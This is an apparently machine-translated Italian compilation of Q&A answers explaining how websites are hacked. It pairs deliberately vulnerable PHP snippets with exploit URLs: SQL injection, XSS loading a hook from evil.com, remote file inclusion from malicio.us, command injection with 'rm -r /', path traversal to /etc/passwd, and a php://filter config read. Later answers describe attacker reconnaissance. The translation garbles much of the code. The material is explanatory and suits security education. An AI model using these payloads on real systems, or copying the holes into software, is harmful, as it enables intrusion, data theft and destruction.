Hack che funzionano semplicemente cambiando l'URL

• Un esempio legittimo e uno dannoso
• Alcuni esempi richiedono la codifica dell'URL per funzionare (di solito eseguita automaticamente dal browser)

SQL Injection

  $ username = $ _POST [ 'username']; $ pw = $ _GET ['password']; mysql_query ("SELECT * FROM userTable WHERE username = $ username AND password = $ pw");  

exploit (accede come amministratore senza conoscere la password):

  example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGetexample.com/?username=Administrator&password=password 'o 1 = 1- -  

Cross Site Scripting (XSS)

  $ nickname = $ _GET ['nickname']; echo "<div>Il tuo nickname è $ nickname< / div> \ n";  

exploit (registratori che visitano l'utente come zombi in BeEF):

example.com/?nickname=Karraxexample.com/?nickname=<script src = "evil.com/beefmagic.js.php" / >  

Esecuzione di codice in modalità remota

codice (esempio di Tylerl):

  <? include ($ _ GET ["modulo"]. ". php"); ? >  

exploit (scarica ed esegue codice arbitrario):

  example.com/?module=frontpageexample.com/ ? module = pastebin.com / mymaliciousscript  

Iniezione di comandi

codice:

  <? Phpecho shell_exec ('cat'. $ _ GET ['filename']) ;? >  

exploit (cerca di eliminare tutti i file dalla directory principale):

  example.com/?filename=readme.txtexample.com/?filename=readme.txt;rm -r /  

Iniezione di codice

codice:

  <? Php $ myvar = "varname"; $ x = $ _GET ['arg']; eval ("\ $ myvar = \ $ x;") ;? >  

exploit (inietta il comando phpinfo () che stampa sullo schermo informazioni di attacco molto utili):

  example.com/?arg=1example.com/?arg = 1; phpinfo ()  

Iniezione LDAP

codice:

  <? php $ nome utente = $ _GET ['nomeutente']; $ password = $ _GET ['password']; ldap_query ("(& (cn = $ nome utente) (password = $ password)")? >  

exploit (accede senza conoscere la password dell'amministratore):

  example.com/?username=admin&password=adminadminexample.com/?username=admin&password = *  

Attraversamento del percorso

codice:

  <? phpinclude ("./" . $ _GET ['page']) ;? >  

exploit (fetches / etc / passwd):

  esempio .com /? page = front.phpexample.com /? page = .. / .. / .. / .. / .. / .. / .. / .. / etc / passwd  

Reindirizzamento / Attacco in avanti

codice:

  <? php $ redirectUrl = $ _GET ['url'] ; header ("Location: $ redirectUrl");? >  

exploit (invia l'utente dalla tua pagina a evil p età):

  example.com/?url=example.com/faq.phpexample.com/?url=evil.com/sploitCode.php  

Mancata limitazione dell'accesso all'URL

code:

  N / A. Mancanza di .htaccess ACL o controllo di accesso simile. Consente all'utente di indovinare o in altro modo scoprire la posizione del contenuto che dovrebbe essere accessibile solo dopo aver effettuato l'accesso.  

exploit:

  example.com/users/showUser.phpexample.com/admins/editUser.php  

Cross-Site Request Forgery

codice :

  N / A. Il codice manca di un segreto da pagina a pagina per convalidare che la richiesta proviene dal sito corrente. Implementa un segreto che viene trasmesso e convalidato tra le pagine. 

  Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243Sulla pagina diabolica: <img src = "http://example.com/app/transferFunds?amount=1500destinationAccount=evilAccount#" 0 "height =" 0 "/ >  

Buffer overflow (tecnicamente accedendo a un URL, ma implementato con metasploit

codice:

  N / A. Vulnerabilità nel codice del server web stesso. Overflow del buffer standard  

Exploit (Metasploit + meterpreter?):

  http : //www.exploit-db.com/exploits/16798/  

Il modo (attualmente) più comune di entrare è attraverso i buchi nelle applicazioni PHP. Ci sono dozzine di modi in cui questo potrebbe funzionare, ma eccone uno semplice, facile:

Immagina che l'ignaro proprietario del sito decida di prendere una scorciatoia nel suo codice tale che http: // example. com / site.php? module = xyz in realtà carica prima un template di shell e poi esegue "xyz.php" per riempire il contenuto. Quindi forse scrive qualcosa del genere:

  <h1>My Awesome CMS< / h1><? include ($ _ GET ["modulo"]. ". php"); ? ><p>Vedi cosa ho fatto lì? Wow, è stato intelligente.< / p>  

L'hacker quindi visita il sito utilizzando il seguente URL:
http://example.com/site.php?module= http://malicio.us/evilprogram

Ora, invece di caricare il suo script locale, PHP esce e scarica http://malicio.us/evilprogram.php e lo esegue, eseguendo qualsiasi codice PHP desiderato dall'aggressore. Forse inviare spam, forse installare una backdoor shell, forse cercare password nei file di configurazione.

Ci sono letteralmente migliaia di modi per hackerare un sito, ognuno nuovo come l'altro. Quasi universalmente, coinvolgono un programmatore che non ha pensato a tutti i possibili input al loro programma e agli effetti inaspettati che potrebbero avere.

Ci sono 2 modi di vederlo, potresti concentrarti sul server stesso o concentrarti sull'applicazione web che il server sta eseguendo.

Come server, può avere porte aperte che eseguono servizi a cui puoi connetterti e ottenere l'accesso al server. Utilizzando exploit noti, potresti ottenere l'accesso come root. Ad esempio, alcuni server FTP per Unix hanno vulnerabilità che possono essere sfruttate da strumenti come Metasploit per ottenere una shell di root.

Come applicazione, ci sono troppi modi per sfruttare un'applicazione scritta o configurata male. Ad esempio, se passi una query SQL come GET, potresti effettivamente manipolare l'URL stesso per eseguire un attacco SQL Injection e eseguire il dump di interi database. Ad esempio (a seconda della codifica del sito): http://www.mydomain.com/products/products.asp?productid=123 UNION SELECT username, password FROM USERS

Ancora una volta, tocchi un argomento enorme e spero che questi ti aiutino a focalizzare i tuoi prossimi passi.

La risposta breve

Questa potrebbe non essere la domanda giusta.

Un hacker ...

... è un ingegnere sociale.

Sono più interessati alle loro interazioni con le persone che alle loro interazioni con i computer. Un hacker preferirebbe di gran lunga che tu gli consegni la tua password, piuttosto che forzarla.

... sta cercando conoscenza ...

... e sa che la conoscenza è energia. Un hacker è più interessato a ottenere il numero della tua carta di credito che a usarlo .

... usa la moralità come scusa .. .

... non una causa. Questo è il motivo per cui molti hacker trarranno vantaggio da eventi politici orientati moralmente per diventare pubblici. Sanno che possono usare la moralità per giustificare le loro azioni agli occhi del pubblico.

... non viene scoperto a meno che non lo voglia.

La maggior parte delle volte. Gli hacker aspiranti che saltano dentro senza alcun riguardo per la furtività o l'anonimato sono noti come "script kiddies" o "skiddies" nella comunità degli hacker. Ci sono molti più skiddies che hacker, molto probabilmente, e saranno probabilmente il tuo più grande fastidio.

... non ha bisogno di strumenti speciali o backdoor.

che hai fornito è probabilmente sufficiente.

La lunga risposta

Puoi proteggerti dagli exploit in Metasploit quanto vuoi. Un hacker entrerà dalla porta principale, se non virtualmente, letteralmente.

La risposta che vuoi

Visto che alla gente non piace la risposta che io ha dato , per quanto adeguato sia, ti darò qualcosa in più sulla falsariga di ciò che desideri.

Agli hacker piace rimanere anonimi. Il primo passo in ogni attacco è mettere insieme una linea di proxy di qualche tipo, siano essi proxy SOCKS, zombi o semplici bot che formano una botnet. Ci sono alcuni modi per farlo, ma prendiamo alcuni proxy morti per motivi di discussione. Vai su pastebin.com e cerca 8080 . Questa è una porta comune per i proxy web. Scorri verso il basso nei risultati fino a trovare un elenco di indirizzi IP e fai clic per visualizzare il risultato. Dovresti avere un lungo elenco di proxy web. Posso garantire che la maggior parte, se non tutti, sarà morta. Spiacenti, questo non è un tutorial sull'hacking.

Il passaggio successivo consiste nel raccogliere informazioni apparentemente banali sul tuo obiettivo. Utilizzando i suoi proxy, un hacker eseguirà portscan, quindi sonderà tutti i servizi che trova. Hai un sito web? Esploriamolo. Hai un server MySQL? Vediamo di che versione è. Esegui SSH? Vediamo se accetta password di testo o è limitato ai certificati.

Quindi l'hacker si siede, guarda cosa ha raccolto e decide qual è il punto più debole del sistema. A seconda delle dimensioni del sistema, potrebbe tornare indietro e sondare un po 'di più, se c'è di più da sondare e sente di non aver acquisito una debolezza abbastanza buona. Una debolezza non deve essere un vero "buco" di sicurezza: deve essere solo l'anello più debole. Forse hai un server FTP che non protegge dal martellamento (ripetuti tentativi di accesso). Forse hai un server web con un sacco di moduli o URL potenzialmente sfruttabili. Vale la pena indagare ulteriormente.

Se necessario, l'aggressore potrebbe scrivere uno script o un programma per eseguire l'attacco finale, anche se non è sempre così. La maggior parte dei punti deboli può essere sfruttata con gli strumenti esistenti, quindi questo di solito non è necessario per l'hacker moderno. Tuttavia, occasionalmente gli hacker scoprono nuove falle di sicurezza nel software, nel qual caso talvolta devono scrivere strumenti speciali per sfruttare tale software.

Un buon esempio di un programma di attacco palesemente ovvio è quello utilizzato per causare problemi ai server di un gioco chiamato Terraria. Questo non era il suo scopo originale, ma poiché espone vari exploit nel software del server, tende ad essere utilizzato per quello da altri. L'ho scritto in C #. Il codice sorgente è disponibile su GitHub. Gli exploit utilizzano la manipolazione del bytecode per modificare il client esistente per inviare dati dannosi. Il server non si aspetta questi dati e reagisce in modi in cui non è stato progettato per funzionare. Scoprire exploit come questo può essere semplice come il reverse engineering del software di destinazione - dico semplice perché questo è diventato un compito sempre più facile con i linguaggi riflessivi moderni, come C # e Java. Programmi come .NET Reflector (a pagamento) e dotPeek (gratuito, per ora) lo rendono possibile con il clic di un pulsante. Un programmatore C # sufficientemente addestrato può quindi osservare il codice, determinarne la funzionalità e scrivere un programma per alterare questa funzionalità.

Un mio amico aveva un contratto per lavorare su un sito. Mentre lo faceva, ha notato che gli hacker sono entrati nel sito Web e hanno fatto cose che non gli piacevano. Dopo aver esaminato alcuni file di log, ha notato che gli "hacker" hanno trovato il sito cercando su Google un errore mysql.

Quando sei in grado di iniettare sql puoi fare quello che vuoi, come creare un account. Se puoi caricare file (specialmente php) hai la possibilità di essere in grado di eseguirlo. Se puoi eseguirlo, puoi fare più danni come leggere / scrivere file sul file system del server anche se non hai un account sul server linux / windows.

Un'altra tecnica sta penetrando nel database, guardando le password (specialmente se non sono sottoposte ad hashing) piuttosto che provare a stabilire una connessione ssh o ftp allo stesso indirizzo ip del sito e provare le combinazioni utente / password.

Inoltre non è necessario entrare in il server per essere violato. Qualcuno che ho incontrato mi ha raccontato una storia di come il software obsoleto fosse installato sul suo server. Gli aggressori lo hanno utilizzato per caricare ed eseguire il proprio file php che ha iniettato una riga di codice (per aggiungere un iframe) in ogni file index.php e index.html. In sostanza nessuno è stato in grado di visitare il sito. Reindirizzava o dava molti popup.

Quante volte abbiamo letto di accessi senza password o "Joes"? Non richiede la conoscenza di Metasploit o qualcosa di veramente esotico per entrare dalla porta principale. Un po 'come un'auto che corre seduta in un vialetto in una fredda mattina "Per favore, rubami".

Solo alcuni altri esempi da considerare.

Seguendo l'esempio di tylerl:

  <? php if (isset ($ _GET ['id'] )) include ($ _GET ['id']. ".php") ;? >  

Vettore di attacco:

  http: // victimsite. com /? id = php: //filter/read=convert.base64-encode/resource=includes/configure  

Questo è un file locale include un attacco base64 a causa della mancanza di codifica sicura , un utente malintenzionato è in grado di leggere quasi tutti i file sul sito o sul server che terminano con [.php], in questo caso leggendo il contenuto del file configure.php, PHP restituisce un base64_encode dell'intero contenuto del file che è facilmente decodificato torna al testo leggibile.

Tuttavia, l'URL non valido non deve cercare falle nella convalida della sicurezza dell'input.

In molti siti di commercio web, il codice $ PHP_SELF riporta erroneamente il nome del file dove yoursite.com /admin/administrators.php, $ PHP_SELF ha riportato il nome del file come administrators.php, tuttavia se login.php è stato aggiunto come admin / adm inistrators.php / login.php, quindi $ PHP_SELF riporta erroneamente login.php come nome del file invece di administrators.php.

Quindi, ad esempio, se la domanda di convalida della sessione di amministrazione viene posta in questo impressionante esempio:

* if (non una sessione di amministrazione valida) e ($ PHP_SELF non è = a login.php) quindi reindirizza a login.php *

La pagina non reindirizzerà mai al login .php perché $ PHP_SELF riporta erroneamente il vero nome del file, quindi l'attaccante ha accesso al file administrators.php senza la necessità delle credenziali corrette.